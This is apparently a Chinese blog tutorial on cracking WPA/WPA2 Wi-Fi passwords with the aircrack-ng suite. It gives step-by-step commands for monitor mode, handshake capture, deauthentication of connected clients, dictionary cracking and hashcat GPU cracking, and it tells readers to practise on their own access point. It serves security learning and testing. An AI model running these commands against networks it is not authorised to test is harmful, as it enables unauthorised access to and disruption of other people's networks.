技巧:aircrack-ng暴力破解wifi密码
aircrack-ng 是一个与802.11标准[无线网络标准]的无线网络分析有关的安全软件,aircrack-ng 可以工作在任何支持监听模式的无线网卡上,嗅探802.11a,802.11b,802.11g的数据。
主要功能:
- 网络侦测
- 数据包嗅探
- WEP和WPA/WPA2-PSK破解
aircrack-ng套件包含以下组件:
- aircrack-ng - 破解wep以及wpa[字典攻击]秘钥
- airdecap-ng - 通过已知秘钥来解密web或wpa嗅探数据
- airmon-ng - 将网卡设置为监听模式
- aireplay-ng - 数据包嗅探:将无线网络数据输送到PCAP货IVS文件并显示网络信息
- airtun-ng - 创建虚拟管道
- airolib-ng - 保存、管理ESSID密码列表
准备
- 建立一个 wifi 接入点 (用自己的练习)
- 支持监听模式的无线网卡,可参见
- 安装 Linux 的计算机
下面的操作中,命令中所有需要跟据实际环境替换的内容都以
${}
包围
安装
$ sudo apt install aircrack-ng
列出支持监听模式网卡
$ sudo airmon-ng
输出一般如下(不同设备输出不同):
PHY Interface Driver Chipset
phy0 wlan0 rt800usb Ralink Technology, Corp. RT3572
如果列表为空,则代表没有支持监听模式的设备
启用设备监听
$ sudo airmon-ng start ${Interface}
如果启用失败,可能是因为之前已经有设备进入监听模式了,可以使用下面的命令
$ airmon-ng check kill
如果监听成功,则使用 sudo iwconfig
可以看到原本的设备名称后面多了 mon
扫描 wifi 接入点
$ sudo airodump-ng ${Interface}
命令不会自动退出,扫描一会就可以按 ctrl+c 退出,大致输出如下:
CH 2 ][ Elapsed: 30 s ][ 2022-08-20 20:30
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
XX:XX:XX:XX:XX:XX -45 94 0 0 11 130 WPA2 CCMP PSK XXXXXXXXXXXXXXXX
......
BSSID STATION PWR Rate Lost Frames Notes Probes
XX:XX:XX:XX:XX:XX YY:YY:YY:YY:YY:YY -75 0 - 1 2 3
字段解释
第一部分
CH 表示扫描信道
Elapsed 表示已经运行的时间
第二部分
BSSID : 接入点的MAC地址
PWR : 网卡反馈的信号水平,越大代表信号越好。
-1
表示驱动不支持信号水平RXQ : 接收质量,指过去100秒内成功接收到的数据包的百分比
Beacons : 接入点发出的公告报文的数量,每个接入点每秒大概发送10个公告包
#Data : 捕捉到的数据包的数量
#/s : 过去10秒,每秒接收到的数据包数量的平均值
CH : 无线信道(从beacon包中得到),注意:即使固定了信道,有时也会捕捉到其他信道的数据包,这时由于无线电干扰造成的
MB : 如果MB=11,就是802.1b,如果MB=22,就是802.1b+,更高的就是802.1g。如上图54后的小数点表示支持短前导码,11后面的e表示该网络支持QoS
ENC : 表示使用的加密算法。OPN表示没有加密,“WEP?”表示不确定是WEP还是WPA/WPA2;WEP表示静态或者动态的WEP,TKIP或者CCMP表示WPA/WPA2
CIPHER : 检测出的密码体系,CCMP,WRAP,TKIP,WEP,WEP40和WEP104中的一种。虽然不是必须的,但是TKIP通常用于WPA,CCMP常用于WPA2。当键字索引大于0时,会显示WEP40。(40位时,索引可以是0-3;104位时,索引需为0)
AUTH : 使用的认证协议。GMT(WPA/WPA2 使用单独的认证服务器),SKA(WEP共享密钥) ,PSK(WPA/WPA2 预共享密钥),或者OPN(WEP开放认证)
ESSID : 无线网络名称。也叫“SSID”,如果开启SSID隐藏模式,则此项为空。在这种情况下,airodump-ng会尝试通过探测响应和关联请求恢复SSID
第三部分
- STATION : 每一个已连接或者正尝试连接用户的MAC地址,还没有连接上接入点的用户的BSSID是“not associated”
- Lost : 过去的10秒钟丢失的数据包数量
- Packets : 用户发出的数据包数量
- Probes : 用户探测的无线网络名称,如果还没有连接那么它是用户正尝试连接的网络名称
监听
选择一个要破解的接入点,使用接入点信息替换下面命令的参数
$ sudo airodump-ng -c ${CH} --bssid ${BSSID} -w capture ${Interface}
参数解释
-c
: 指定信道号--bssid
: 指定无线接入点设备的BSSID-w
: 输出到文件
如果想减小获取的包的体积,可以只捕获 IVs 信息
$ sudo airodump-ng -c ${CH} --bssid ${BSSID} -w capture -ivs ${Interface}
参数解释
--ivs
: 只捕获IVs
注意 : 如果想要使用 GPU 加速破解,就不能使用
-ivs
此时,可以等待,直到命令的第一部分出现 WPA handshake: XX:XX:XX:XX:XX:XX
,则代表握手包已经抓取成功了。如果一直没有成功,可以使用下面的步骤,强制断开连接以加速获取
强制断开以加速获取数据包(可选)
$ sudo aireplay-ng -0 0 -a ${BSSID}
参数解释
-0
: 模式中的一种:冲突攻击模式,后面跟发送次数-a
: 指定无线接入点设备的BSSID
使用字典来破解
$ aircrack-ng capture-01.ivs -w password.txt
$ aircrack-ng capture-01.cap -w password.txt
参数解释
-w
: 字典文件
破解成功输出如下
Aircrack-ng 1.6
[00:00:00] 3/5 keys tested (148.08 k/s)
Time left: 0 seconds 80.00%
KEY FOUND! [ xxxxxxxxxxxxxxxxx ]
MastAr KAy : AA AA AA AD AA AA AA DA AD BA BA DA AA AA AA AA
AA AF AA BA AA AB AA AA AF AA FF AA AA AA AA AA
TransiAnt KAy : AF AD AA AA FA AA AA AA DA AA AA AF AA AA AA AA
AA DA AA AA AA AA AF AA AA AA AA AA AA AA AD AA
AA AA AA AA AA AA AA AA AA AA AA AA AD FA AA AF
AA DA AA AA BD AA AA AA AA AA AF FA AA AA AA AA
AAPOL HMAA : AA DA AA AD DA AA AA AA AA AA BA AA AA AA AA AA
使用GPU加速破解
此节没有实验过(因为穷,买不起显卡),方法记录在这里,用于以后实践
安装 hashcat 和 hashcat-nvidia
安装 nvidia 驱动和 nvidia-cuda-toolkit 这个要跟据显卡型号来
$ sudo apt install hashcat hashcat-nvidia
将cap->hccapx
$ aircrack-ng capture-01.cap -j capture-01
使用 hashcat 破解
$ hashcat -w 3 -m 2500 capture-01.hccapx worldlist.txt
参数解释
-w
工作负载配置文件 | 1 : 低 | 2 : 默认 | 3 : 高 | 4 : 噩梦 |-m
Hash类型,详见:hashcat --help